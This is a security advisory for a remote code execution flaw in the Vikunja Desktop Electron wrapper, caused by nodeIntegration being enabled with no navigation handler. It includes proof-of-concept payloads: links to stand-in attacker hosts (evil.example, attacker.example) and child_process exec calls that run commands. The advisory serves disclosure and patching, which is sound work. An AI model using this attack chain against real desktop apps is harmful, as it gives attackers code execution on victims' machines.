Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
Two misconfigurations combine to create this vulnerability:
nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).
No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:
<a href="https://..."> links (without target="_blank")window.location assignments<meta http-equiv="refresh"> tags<a href="https://evil.example/exploit">Click here for the updated design spec</a>frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
<a href="https://attacker.example/poc.html">Meeting notes</a><script>require('child_process').exec('calc.exe')</script>This vulnerability was found using GitHub Security Lab Taskflows.
{
"osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json",
"cna_assigner": "GitHub_M",
"cwe_ids": [
"CWE-94"
]
}